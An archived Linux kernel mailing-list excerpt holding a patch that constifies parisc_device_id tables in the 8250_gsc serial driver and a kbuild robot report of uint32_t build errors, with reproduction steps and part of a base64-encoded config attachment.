        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:55:06 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id 83so18745689pgb.4;
        Sat, 19 Aug 2017 10:55:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=VwN4G51kXJlk6bKy6VC4wUrihAjhr1s1T1ogyfJa0j0=;
        b=eIKg+VTaE3+ENC+vXq3VvY+ZrjhLBJ4Xx4rblBJ0yNCUN5ix295rpyJmrwvbjz7dBe
         8n18jm4RLcDMYmNXEO0PQQj8MjOgw+pQvVweIMfK/ly5VOdmNfhNIdBYv+elARqCymRR
         +ffRC4+m0x6Y9oeJ4WLOl+kSFDKXKTaz0+DL7A2+vbgcaqKJrLDMdbnO641HHh9szNkc
         gwtaAq6gkU3tKJ5+Desn0YCK3BC6BeIvpt6UACJdGGbPZXcddHYawHQrupyzWy3OPldq
         V6h36gGC3zUERMiGN7NRTFMfI/vn76KfF1MzNV842pCcQb8m90VryE9FwbaUUXmTsvTG
         nnrQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=VwN4G51kXJlk6bKy6VC4wUrihAjhr1s1T1ogyfJa0j0=;
        b=O0r4ZG9NPdDj0hro2vYECB/040JTnBVdSfOuW1vIespDnnQJSl8nRgEf/PrY1Dgy1x
         ypSt5GR4zscvBk5ogjAct0YPK12eulgqgIv4kqGU/Ll3NMqlOGnqUgkuvZxEN5PpORfC
         9SLnxh7z+VWqLAbX0v75+CmJhGyVCw3BwsiwV9R4l/m3eCH+EhVfdL5cLdHANwWNOJfy
         iz5UASYqL5P4RdBAyC6ax7uf427WlzSAWUI4yPErvv0AQBGKpn8pyG7KkihWEhyXHucw
         gLlqbk0724ExdipIjD44BPKmhgAsZt4TG80uUOsGNyjc25+KrzfyQ/0u7UpzN898njS/
         7oBQ==
X-Gm-Message-State: AHYfb5iqJDa9eAETS4JZryGRsFvg0nOUtWvcE9CECw+WCXW5qt2Da9oj
        7/3rzusVI/ubcw==
X-Received: by 10.84.225.18 with SMTP id t18mr13670881plj.189.1503165306457;
        Sat, 19 Aug 2017 10:55:06 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id w23sm15593701pfl.40.2017.08.19.10.55.03
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:55:05 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552969 gmane.linux.ports.parisc:27715 gmane.linux.serial:27133
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552969>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/tty/serial/8250/8250_gsc.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index 63306de..0c078cc 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -80,7 +80,7 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id serial_tbl[] = {
+static const struct parisc_device_id serial_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00075 },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008c },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008d },
@@ -94,7 +94,7 @@ static struct parisc_device_id serial_tbl[] = {
  * which only knows about Lasi and then a second which will find all the
  * other serial ports.  HPUX ignores this problem.
  */
-static struct parisc_device_id lasi_tbl[] = {
+static const struct parisc_device_id lasi_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03B, 0x0008C }, /* C1xx/C1xxL */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03C, 0x0008C }, /* B132L */
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, 0x03D, 0x0008C }, /* B160L */
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:boot_devel 2/2] arch/powerpc/boot/zutil.h:82:5: error:
 unknown type name 'uint32_t'
Date: Sun, 20 Aug 2017 07:28:35 +0800
Lines: 380
Approved: news@gmane.org
Message-ID: <201708200732.ZwDcwnXY%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="huq684BweRXVnRxX"
X-Trace: blaine.gmane.org 1503185368 2135 195.159.176.226 (19 Aug 2017 23:29:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 23:29:28 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 01:29:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djDB1-0007yP-PL
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 01:29:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752428AbdHSX3P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 19:29:15 -0400
Original-Received: from mga14.intel.com ([192.55.52.115]:11374 "EHLO mga14.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752420AbdHSX3P (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 19:29:15 -0400
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by fmsmga103.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 19 Aug 2017 16:29:14 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,399,1498546800"; 
   d="gz'50?scan'50,208,50";a="1005605065"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga003.jf.intel.com with ESMTP; 19 Aug 2017 16:29:13 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1djDFa-000RQW-3b; Sun, 20 Aug 2017 07:33:54 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27716>


--huq684BweRXVnRxX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git boot_devel
head:   2de6ba7d548dff737bdc47173c8a7b6b20d94966
commit: 2de6ba7d548dff737bdc47173c8a7b6b20d94966 [2/2] Initial support for compressed boot
config: powerpc-mpc83xx_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
        wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 2de6ba7d548dff737bdc47173c8a7b6b20d94966
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   In file included from arch/powerpc/boot/inffast.c:6:0:
   arch/powerpc/boot/zutil.h: In function 'zlib_adler32':
>> arch/powerpc/boot/zutil.h:82:5: error: unknown type name 'uint32_t'
        uint32_t s1 = adler & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/zutil.h:83:5: error: unknown type name 'uint32_t'
        uint32_t s2 = (adler >> 16) & 0xffff;
        ^~~~~~~~
--
   In file included from arch/powerpc/boot/inflate.c:12:0:
   arch/powerpc/boot/zutil.h: In function 'zlib_adler32':
>> arch/powerpc/boot/zutil.h:82:5: error: unknown type name 'uint32_t'
        uint32_t s1 = adler & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/zutil.h:83:5: error: unknown type name 'uint32_t'
        uint32_t s2 = (adler >> 16) & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/inflate.c: In function 'zlib_inflate':
   arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared (first use in this function)
                    (uint32_t)(((BITS(8) << 8) + (hold >> 8))) % 31) { // avoid __umoddi3
                     ^~~~~~~~
   arch/powerpc/boot/inflate.c:358:18: note: each undeclared identifier is reported only once for each function it appears in

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--huq684BweRXVnRxX
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
